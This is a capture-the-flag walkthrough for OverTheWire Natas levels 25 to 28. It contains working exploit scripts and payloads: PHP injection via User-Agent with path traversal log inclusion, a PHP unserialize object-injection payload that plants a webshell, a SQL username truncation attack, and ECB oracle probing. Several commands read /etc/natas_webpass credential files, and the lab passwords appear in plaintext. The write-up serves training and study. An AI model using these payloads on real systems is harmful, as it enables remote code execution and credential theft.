We replace the User Agent with User-Agent: <?php echo exec('whoami');?> getting:

GET /?lang=....//....//....//....//....///var/www/natas/natas25/logs/natas25_04mg3fhcld4h0i63i2b500cjgo.log HTTP/1.1
Host: natas25.natas.labs.overthewire.org
User-Agent: <?php echo exec('whoami');?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Authorization: Basic bmF0YXMyNTpja0VMS1VXWlVmcE92NnV4UzZNN2xYQnBCc3NKWjRXcw==
Connection: keep-alive
Cookie: PHPSESSID=04mg3fhcld4h0i63i2b500cjgo
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
Priority: u=0, i

In the logs:

[25.10.2024 05::32:52] cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE "Directory traversal attempt! fixing request."

When understood, this whole process can be automated in a script:

import requests
from requests.auth import HTTPBasicAuth

basic_auth = HTTPBasicAuth('natas25', 'ckELKUWZUfpOv6uxS6M7lXBpBssJZ4Ws')

url = "http://natas25.natas.labs.overthewire.org/"


def send_request() -> str:
    first_url = url + f"?lang=de"
    print(f"Sending request to [{first_url}]...")
    user_agent = "<?php echo shell_exec('cat /etc/natas_webpass/natas26');?>"
    headers = {'Content-Type': 'text/html; charset=UTF-8',
               'User-Agent': user_agent}
    session = requests.Session()
    _ = session.get(first_url,
                    headers=headers,
                    auth=basic_auth,
                    verify=False)
    session_id = session.cookies.get_dict()['PHPSESSID']
    second_url = url + \
        f"?lang=....//....//....//....//....///var/www/natas/natas25/logs/natas25_{session_id}.log"
    response = session.get(second_url,
                           headers=headers,
                           auth=basic_auth,
                           verify=False)
    return response.text


if __name__ == '__main__':
    print(send_request())

Natas 26

Credentials

Username: natas26

Password: cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE

URL: http://natas26.natas.labs.overthewire.org

Message

The page says:

Draw a line:

and requires X1, Y1, X2, Y2.

There is a link to the source code.

Solution

The source code linked:

<html>
  <head>
    <!-- This stuff in the header has nothing to do with the level -->
    <link
      rel="stylesheet"
      type="text/css"
      href="http://natas.labs.overthewire.org/css/level.css"
    />
    <link
      rel="stylesheet"
      href="http://natas.labs.overthewire.org/css/jquery-ui.css"
    />
    <link
      rel="stylesheet"
      href="http://natas.labs.overthewire.org/css/wechall.css"
    />
    <script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
    <script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
    <script src="http://natas.labs.overthewire.org/js/wechall-data.js"></script>
    <script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
    <script>
      var wechallinfo = { level: "natas26", pass: "<censored>" };
    </script>
  </head>
  <body>
    <?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla

    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n"; $this->exitMsg="#--session
    end--#\n"; $this->logFile = "/tmp/natas26_" . $file . ".log"; // write
    initial message $fd=fopen($this->logFile,"a+"); fwrite($fd,$this->initMsg);
    fclose($fd); } function log($msg){ $fd=fopen($this->logFile,"a+");
    fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ // write exit
    message $fd=fopen($this->logFile,"a+"); fwrite($fd,$this->exitMsg);
    fclose($fd); } } function showImage($filename){ if(file_exists($filename))
    echo "<img src=\"$filename\">"; } function drawImage($filename){
    $img=imagecreatetruecolor(400,300); drawFromUserdata($img);
    imagepng($img,$filename); imagedestroy($img); } function
    drawFromUserdata($img){ if( array_key_exists("x1", $_GET) &&
    array_key_exists("y1", $_GET) && array_key_exists("x2", $_GET) &&
    array_key_exists("y2", $_GET)){
    $color=imagecolorallocate($img,0xff,0x12,0x1c); imageline($img,$_GET["x1"],
    $_GET["y1"], $_GET["x2"], $_GET["y2"], $color); } if
    (array_key_exists("drawing", $_COOKIE)){
    $drawing=unserialize(base64_decode($_COOKIE["drawing"])); if($drawing)
    foreach($drawing as $object) if( array_key_exists("x1", $object) &&
    array_key_exists("y1", $object) && array_key_exists("x2", $object) &&
    array_key_exists("y2", $object)){
    $color=imagecolorallocate($img,0xff,0x12,0x1c);
    imageline($img,$object["x1"],$object["y1"], $object["x2"] ,$object["y2"]
    ,$color); } } } function storeData(){ $new_object=array();
    if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
    array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
    $new_object["x1"]=$_GET["x1"]; $new_object["y1"]=$_GET["y1"];
    $new_object["x2"]=$_GET["x2"]; $new_object["y2"]=$_GET["y2"]; } if
    (array_key_exists("drawing", $_COOKIE)){
    $drawing=unserialize(base64_decode($_COOKIE["drawing"])); } else{ // create
    new array $drawing=array(); } $drawing[]=$new_object;
    setcookie("drawing",base64_encode(serialize($drawing))); } ?>

    <h1>natas26</h1>
    <div id="content">
      Draw a line:<br />
      <form name="input" method="get">
        X1<input type="text" name="x1" size="2" /> Y1<input
          type="text"
          name="y1"
          size="2"
        />
        X2<input type="text" name="x2" size="2" /> Y2<input
          type="text"
          name="y2"
          size="2"
        />
        <input type="submit" value="DRAW!" />
      </form>

      <?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
        $imgfile="img/natas26_" . session_id() .".png";
        drawImage($imgfile);
        showImage($imgfile);
        storeData();
    }

?>

      <div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
    </div>
  </body>
</html>

In particular, the PHP part:

<?php
    // sry, this is ugly as hell.
    // cheers kaliman ;)
    // - morla

    class Logger{
        private $logFile;
        private $initMsg;
        private $exitMsg;

        function __construct($file){
            // initialise variables
            $this->initMsg="#--session started--#\n";
            $this->exitMsg="#--session end--#\n";
            $this->logFile = "/tmp/natas26_" . $file . ".log";

            // write initial message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->initMsg);
            fclose($fd);
        }

        function log($msg){
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$msg."\n");
            fclose($fd);
        }

        function __destruct(){
            // write exit message
            $fd=fopen($this->logFile,"a+");
            fwrite($fd,$this->exitMsg);
            fclose($fd);
        }
    }

    function showImage($filename){
        if(file_exists($filename))
            echo "<img src=\"$filename\">";
    }

    function drawImage($filename){
        $img=imagecreatetruecolor(400,300);
        drawFromUserdata($img);
        imagepng($img,$filename);
        imagedestroy($img);
    }

    function drawFromUserdata($img){
        if( array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){

            $color=imagecolorallocate($img,0xff,0x12,0x1c);
            imageline($img,$_GET["x1"], $_GET["y1"],
                            $_GET["x2"], $_GET["y2"], $color);
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
            if($drawing)
                foreach($drawing as $object)
                    if( array_key_exists("x1", $object) &&
                        array_key_exists("y1", $object) &&
                        array_key_exists("x2", $object) &&
                        array_key_exists("y2", $object)){

                        $color=imagecolorallocate($img,0xff,0x12,0x1c);
                        imageline($img,$object["x1"],$object["y1"],
                                $object["x2"] ,$object["y2"] ,$color);

                    }
        }
    }

    function storeData(){
        $new_object=array();

        if(array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET)){
            $new_object["x1"]=$_GET["x1"];
            $new_object["y1"]=$_GET["y1"];
            $new_object["x2"]=$_GET["x2"];
            $new_object["y2"]=$_GET["y2"];
        }

        if (array_key_exists("drawing", $_COOKIE)){
            $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
        }
        else{
            // create new array
            $drawing=array();
        }

        $drawing[]=$new_object;
        setcookie("drawing",base64_encode(serialize($drawing)));
    }
?>

and

<?php
    session_start();

    if (array_key_exists("drawing", $_COOKIE) ||
        (   array_key_exists("x1", $_GET) && array_key_exists("y1", $_GET) &&
            array_key_exists("x2", $_GET) && array_key_exists("y2", $_GET))){
        $imgfile="img/natas26_" . session_id() .".png";
        drawImage($imgfile);
        showImage($imgfile);
        storeData();
    }

?>

Inserting X1, Y1, X2 and Y2, the request goes to http://natas26.natas.labs.overthewire.org/?x1=1&y1=1&x2=2&y2=2. There is a cookie called drawing with value (e.g.) YToxOntpOjA7YTo0OntzOjI6IngxIjtzOjE6IjEiO3M6MjoieTEiO3M6MToiMSI7czoyOiJ4MiI7czoxOiIyIjtzOjI6InkyIjtzOjE6IjIiO319 and another called PHPSESSID with value 0o8fjas5n6i6f4l8jgipiegq9l.

Reading the code, notice in the function drawFromUserdata:

if (array_key_exists("drawing", $_COOKIE)){
    $drawing=unserialize(base64_decode($_COOKIE["drawing"]));
    if($drawing)
        foreach($drawing as $object)
            if( array_key_exists("x1", $object) &&
                array_key_exists("y1", $object) &&
                array_key_exists("x2", $object) &&
                array_key_exists("y2", $object)){

                $color=imagecolorallocate($img,0xff,0x12,0x1c);
                imageline($img,$object["x1"],$object["y1"],
                        $object["x2"] ,$object["y2"] ,$color);

            }
}

Thus the cookie drawing is base 64 encoded data! Decode it using CyberChef or the command base64 and get:

YToxOntpOjA7YTo0OntzOjI6IngxIjtzOjE6IjEiO3M6MjoieTEiO3M6MToiMSI7czoyOiJ4MiI7czoxOiIyIjtzOjI6InkyIjtzOjE6IjIiO319

is

a:1:{i:0;a:4:{s:2:"x1";s:1:"1";s:2:"y1";s:1:"1";s:2:"x2";s:1:"2";s:2:"y2";s:1:"2";}}
<?php

class Logger {
    private $logFile;
    private $exitMsg;

    function __construct() {
        $this->exitMsg = "<?php echo exec('cat /etc/natas_webpass/natas27'); ?>";
        $this->logFile = "/var/www/natas/natas26/img/natas26_[SESSION_ID].php";
    }
}

$logger = new Logger();

echo base64_encode(serialize($logger));
?>

This produces base 64 encoded data.

Replace the drawing cookie with this data and then visit http://natas26.natas.labs.overthewire.org/img/natas26_[SESSION_ID].php.

Visit http://natas26.natas.labs.overthewire.org/img/natas26_[SESSION_ID].php.

Given the session ID rnhdh9ujn7qlaur1nf17umi8ec,

<?php

class Logger {
    private $logFile;
    private $exitMsg;

    function __construct() {
        $this->exitMsg = "<?php echo exec('cat /etc/natas_webpass/natas27'); ?>";
        $this->logFile = "/var/www/natas/natas26/img/natas26_rnhdh9ujn7qlaur1nf17umi8ec.php";
    }
}

$logger = new Logger();

echo base64_encode(serialize($logger));
?>

This produces the output Tzo2OiJMb2dnZXIiOjI6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czo2NToiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvbmF0YXMyNl9ybmhkaDl1am43cWxhdXIxbmYxN3VtaThlYy5waHAiO3M6MTU6IgBMb2dnZXIAZXhpdE1zZyI7czo1MzoiPD9waHAgZWNobyBleGVjKCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4iO30=, which we set in drawing. Draw something specifying the coordinates as required.

Visit http://natas26.natas.labs.overthewire.org/img/natas26_rnhdh9ujn7qlaur1nf17umi8ec.php.

This gives the value u3RRffXjysjgwFU6b9xa23i6prmUsYne.

Natas 27

Credentials

Username: natas27

Password: u3RRffXjysjgwFU6b9xa23i6prmUsYne

URL: http://natas27.natas.labs.overthewire.org

Message

The page requires a username and a password.

There is a link to the source code.

Solution

Inserting a username and a password, a POST request is made to http://natas27.natas.labs.overthewire.org/index.php with body:

username=asd&password=dsa

It seems that this creates a user:

User asd was created!

The page source code is the following:

<html>
<head>
<!-- This stuff in the header has nothing to do with the level -->
<link rel="stylesheet" type="text/css" href="http://natas.labs.overthewire.org/css/level.css">
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/jquery-ui.css" />
<link rel="stylesheet" href="http://natas.labs.overthewire.org/css/wechall.css" />
<script src="http://natas.labs.overthewire.org/js/jquery-1.9.1.js"></script>
<script src="http://natas.labs.overthewire.org/js/jquery-ui.js"></script>
<script src=http://natas.labs.overthewire.org/js/wechall-data.js></script><script src="http://natas.labs.overthewire.org/js/wechall.js"></script>
<script>var wechallinfo = { "level": "natas27", "pass": "<censored>" };</script></head>
<body>
<h1>natas27</h1>
<div id="content">
<?php

// morla / 10111
// database gets cleared every 5 min


/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/


function checkCredentials($link,$usr,$pass){

    $user=mysqli_real_escape_string($link, $usr);
    $password=mysqli_real_escape_string($link, $pass);

    $query = "SELECT username from users where username='$user' and password='$password' ";
    $res = mysqli_query($link, $query);
    if(mysqli_num_rows($res) > 0){
        return True;
    }
    return False;
}


function validUser($link,$usr){

    $user=mysqli_real_escape_string($link, $usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysqli_query($link, $query);
    if($res) {
        if(mysqli_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}


function dumpData($link,$usr){

    $user=mysqli_real_escape_string($link, trim($usr));

    $query = "SELECT * from users where username='$user'";
    $res = mysqli_query($link, $query);
    if($res) {
        if(mysqli_num_rows($res) > 0) {
            while ($row = mysqli_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}


function createUser($link, $usr, $pass){

    if($usr != trim($usr)) {
        echo "Go away hacker";
        return False;
    }
    $user=mysqli_real_escape_string($link, substr($usr, 0, 64));
    $password=mysqli_real_escape_string($link, substr($pass, 0, 64));

    $query = "INSERT INTO users (username,password) values ('$user','$password')";
    $res = mysqli_query($link, $query);
    if(mysqli_affected_rows($link) > 0){
        return True;
    }
    return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas27', '<censored>');
    mysqli_select_db($link, 'natas27');


    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }
    }
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
</html>

The PHP code:

<?php

// morla / 10111
// database gets cleared every 5 min


/*
CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);
*/


function checkCredentials($link,$usr,$pass){

    $user=mysqli_real_escape_string($link, $usr);
    $password=mysqli_real_escape_string($link, $pass);

    $query = "SELECT username from users where username='$user' and password='$password' ";
    $res = mysqli_query($link, $query);
    if(mysqli_num_rows($res) > 0){
        return True;
    }
    return False;
}


function validUser($link,$usr){

    $user=mysqli_real_escape_string($link, $usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysqli_query($link, $query);
    if($res) {
        if(mysqli_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}


function dumpData($link,$usr){

    $user=mysqli_real_escape_string($link, trim($usr));

    $query = "SELECT * from users where username='$user'";
    $res = mysqli_query($link, $query);
    if($res) {
        if(mysqli_num_rows($res) > 0) {
            while ($row = mysqli_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}


function createUser($link, $usr, $pass){

    if($usr != trim($usr)) {
        echo "Go away hacker";
        return False;
    }
    $user=mysqli_real_escape_string($link, substr($usr, 0, 64));
    $password=mysqli_real_escape_string($link, substr($pass, 0, 64));

    $query = "INSERT INTO users (username,password) values ('$user','$password')";
    $res = mysqli_query($link, $query);
    if(mysqli_affected_rows($link) > 0){
        return True;
    }
    return False;
}


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas27', '<censored>');
    mysqli_select_db($link, 'natas27');


    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }
    }
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
<?php } ?>

In particular, there is a SQL database with table users defined as:

CREATE TABLE `users` (
  `username` varchar(64) DEFAULT NULL,
  `password` varchar(64) DEFAULT NULL
);

A function checks the credentials:


function checkCredentials($link,$usr,$pass){

    $user=mysqli_real_escape_string($link, $usr);
    $password=mysqli_real_escape_string($link, $pass);

    $query = "SELECT username from users where username='$user' and password='$password' ";
    $res = mysqli_query($link, $query);
    if(mysqli_num_rows($res) > 0){
        return True;
    }
    return False;
}

Another function validates the user:

function validUser($link,$usr){

    $user=mysqli_real_escape_string($link, $usr);

    $query = "SELECT * from users where username='$user'";
    $res = mysqli_query($link, $query);
    if($res) {
        if(mysqli_num_rows($res) > 0) {
            return True;
        }
    }
    return False;
}

There is an interesting function that returns all the columns for a given user:

function dumpData($link,$usr){

    $user=mysqli_real_escape_string($link, trim($usr));

    $query = "SELECT * from users where username='$user'";
    $res = mysqli_query($link, $query);
    if($res) {
        if(mysqli_num_rows($res) > 0) {
            while ($row = mysqli_fetch_assoc($res)) {
                // thanks to Gobo for reporting this bug!
                //return print_r($row);
                return print_r($row,true);
            }
        }
    }
    return False;
}

Finally, a function to create a user:

function createUser($link, $usr, $pass){

    if($usr != trim($usr)) {
        echo "Go away hacker";
        return False;
    }
    $user=mysqli_real_escape_string($link, substr($usr, 0, 64));
    $password=mysqli_real_escape_string($link, substr($pass, 0, 64));

    $query = "INSERT INTO users (username,password) values ('$user','$password')";
    $res = mysqli_query($link, $query);
    if(mysqli_affected_rows($link) > 0){
        return True;
    }
    return False;
}

The main function defines the flow:


if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
    $link = mysqli_connect('localhost', 'natas27', '<censored>');
    mysqli_select_db($link, 'natas27');


    if(validUser($link,$_REQUEST["username"])) {
        //user exists, check creds
        if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
            echo "Here is your data:<br>";
            $data=dumpData($link,$_REQUEST["username"]);
            print htmlentities($data);
        }
        else{
            echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
        }
    }
    else {
        //user doesn't exist
        if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
            echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
        }
    }

    mysqli_close($link);
} else {
?>

<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
<?php } ?>

Inserting again the credentials for the user asd (asd:dsa) as above:

Welcome asd! Here is your data: Array ( [username] => asd [password] => dsa )

Inserting a wrong password:

Wrong password for user: asd

If we try with the user natas28 and the password asd we get:

Wrong password for user: natas28

Craft and use the following script:

import requests
from requests.auth import HTTPBasicAuth

basic_auth = ('natas27', 'u3RRffXjysjgwFU6b9xa23i6prmUsYne')

url = "http://natas27.natas.labs.overthewire.org/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}


def send_request(session, username, password) -> str:
    body = {"username": username, "password": password}
    response = session.post(url,
                    headers=headers,
                    data=body)
    return response.text

if __name__ == '__main__':
    session = requests.Session()
    session.auth = basic_auth
    natas28 = "natas28"
    padding = " " * (64 - len(natas28))
    username = natas28 + padding
    password = ""
    print(send_request(session, username + "x", password))
    print(send_request(session, username, password))

This gives in the output:

Welcome natas28 !
Here is your data:
Array ( [username] => natas28 [password] => 1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj )

Natas 28

Credentials

Username: natas28

Password: 1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj

URL: http://natas28.natas.labs.overthewire.org

Message

Whack Computer Joke Database

There is a Search field.

Under it there is the message:

sorry, we are currently out of sauce

Solution

Input the string asd in the search and get:

Two strings walk into a bar and sit down. The bartender says, “So what’ll it be?” The first string says, “I think I’ll have a beer quag fulk boorg jdk`^Xbasdh dsa 23^@!8 “Please excuse my friend,” the second string says. “He isn’t null-terminated.”

Input asd' or 1=1 -- and get a blank page.

The URL is:

http://natas28.natas.labs.overthewire.org/search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPLei%2B6aGQjSnxLGTCg1BXadJoN0j36x2764CKTMbTEKFadz8xhQlKoBQI8fl9A304VnjFdz7MKPhw5PTrxsgHCk

This is interesting…

Remove a letter from the part following query= in the URL:

http://natas28.natas.labs.overthewire.org/search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPKg9sQ0V8wVl%2FPPsvF1L%2Fzemi4rXbbzHxmhT3Vnjq2qkEJJuT5N6gkJR5mVucRLNRo%3D

becomes

natas28.natas.labs.overthewire.org/search.php/?query=G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0QpdcjPKg9sQ0V8wVl%2FPPsvF1L%2Fzemi4rXbbzHxmhT3Vnjq2qkEJJuT5N6gkJR5mVucRLNRo%3D

This gives the error:

Notice: Trying to access array offset on value of type bool in /var/www/natas/natas28/search.php on line 59 Zero padding found instead of PKCS#7 padding

Googling this error: it seems to be connected with some cryptographic issue.

Try to script:

A first script just to get a response from a request with query asd:

import requests
from requests.auth import HTTPBasicAuth

basic_auth = ('natas28', '1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj')

url = "http://natas28.natas.labs.overthewire.org/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}


def send_request(session, query) -> str:
    body = {"query": query}
    response = session.post(url,
                    headers=headers,
                    data=body)
    return response.text

if __name__ == '__main__':
    session = requests.Session()
    session.auth = basic_auth
    query = "asd"
    print(send_request(session, query))

We can print the query parameter:

import requests
from requests.auth import HTTPBasicAuth

basic_auth = ('natas28', '1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj')

url = "http://natas28.natas.labs.overthewire.org/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}


def send_request(session, query) -> str:
    body = {"query": query}
    response = session.post(url,
                    headers=headers,
                    data=body)
    return response.url.split("=")[1]

if __name__ == '__main__':
    session = requests.Session()
    session.auth = basic_auth
    query = "asd"
    print(send_request(session, query))

and get:

G%2BglEae6W%2F1XjA7vRm21nNyEco%2Fc%2BJ2TdR0Qp8dcjPKg9sQ0V8wVl%2FPPsvF1L%2Fzemi4rXbbzHxmhT3Vnjq2qkEJJuT5N6gkJR5mVucRLNRo%3D

This is URL-encoded…

import requests
import urllib
from requests.auth import HTTPBasicAuth


basic_auth = ('natas28', '1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj')

url = "http://natas28.natas.labs.overthewire.org/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}


def send_request(session, query) -> str:
    body = {"query": query}
    response = session.post(url,
                    headers=headers,
                    data=body)
    result = response.url.split("=")[1]
    return urllib.parse.unquote(result)

if __name__ == '__main__':
    session = requests.Session()
    session.auth = basic_auth
    query = "asd"
    print(send_request(session, query))

Iterate over the length of the query:

import requests
import urllib
from requests.auth import HTTPBasicAuth


basic_auth = ('natas28', '1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj')

url = "http://natas28.natas.labs.overthewire.org/index.php"
headers = {"Content-Type": "application/x-www-form-urlencoded"}


def send_request(session, query) -> str:
    body = {"query": query}
    response = session.post(url,
                    headers=headers,
                    data=body)
    result = response.url.split("=")[1]
    return urllib.parse.unquote(result)

if __name__ == '__main__':
    session = requests.Session()
    session.auth = basic_auth
    query = ""
    for i in range(32):
        query += "a"
        print(send_request(session, query))

This gives:

G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKriAqPE2++uYlniRMkobB1vfoQVOxoUVz5bypVRFkZR5BPSyq/LC12hqpypTFRyXA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKxMKUxvsiccFITv6XJZnrHSHmaB7HSm1mCAVyTVcLgDq3tm9uspqc7cbNaAQ0sTFc=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPIvUpOmOsuf6Me06CS3bWodmi4rXbbzHxmhT3Vnjq2qkEJJuT5N6gkJR5mVucRLNRo=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPI1BKmpZ1/9YUtPH5DShPyqKSh/PMVHnhLmbzHIY7GAR1bVcy3Ix3D2Q5cVi8F6bmY=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLDah8EaRWKMFIWYUal4/LsrDuHHBxEg4a0XNNtno9y9GVRSbu6ISPYnZVBfqJ/Ons=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJKEf/nOv0V2qBes8NIbc3hQcCYxLrNxe2TV1ZOUQXdfmTQ3MhoJTaSrfy9N5bRv4o=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKf3hzvbj+EoXJjPzB0/I4YZIaVSupG+5Ppq4WEW09L0Nf/K3JUU/wpRwHlH118D44=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPJFPgAgYC9NzNUPDrdwlHfCiW3pCIT4YQixZ/i0rqXXY5FyMgUUg+aORY/QZhZ7MKM=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPKeYiaGpSZAWVcGCZq8sFK7oJUi8wHPnTascCPxZZSMWpc5zZBSL6eob5V3O1b5+MA=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oec4pf+0pFACRndRda5Za71vNN8znGntzhH2ZQu87WJwI=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6OetO2gh9PAvqK+3BthQLni68qM9OYQkTq645oGdhkgSlo=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6OezoKpVTtluBKA+2078pAPR3X9UET9Bj0m9rt/c0tByJk=
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6OeH3RxTXb8xdRkxqIh5u2Y5GIjoU2cQpG5h3WwP7xz1O3YrlHX2nGysIPZGaDXuIuY
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6Oe7NNvj9kWTUA1QORJcH0n5UJXo0PararywOOh1xzgPdF7e6ymVfKYoyHpDj96YNTY
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6OeWu8qmX2iNj9yo/rTMtFzb6dz8xhQlKoBQI8fl9A304VnjFdz7MKPhw5PTrxsgHCk
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6OeiSUVjPxawG0iv9oLcsjxUad+jtGqvgtdBcT/5qwUI6tHjrGh/iYaLGwVBhEJs/7a
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6OerfihrQF37R7K06x8EIKqnr36EFTsaFFc+W8qVURZGUeQT0sqvywtdoaqcqUxUclw
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6OeU9lJnrytaGHwS3zcJPMEYkh5mgex0ptZggFck1XC4A6t7ZvbrKanO3GzWgENLExX
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6OepUn9pSttm04mMtsxg4hW1ZouK1228x8ZoU91Z46tqpBCSbk+TeoJCUeZlbnESzUa
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6OeIBG75Ijd4bvslhthcLMOEikofzzFR54S5m8xyGOxgEdW1XMtyMdw9kOXFYvBem5m
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6OeiCmh+TDOtWa4NEQcBXdALKw7hxwcRIOGtFzTbZ6PcvRlUUm7uiEj2J2VQX6ifzp7
G+glEae6W/1XjA7vRm21nNyEco/c+J2TdR0Qp8dcjPLAhy3ui8kLEVaROwiiI6OeVHYCtS+uFWasjpcfkfbWBUHAmMS6zcXtk1dWTlEF3X5k0NzIaCU2kq38vTeW0b+K
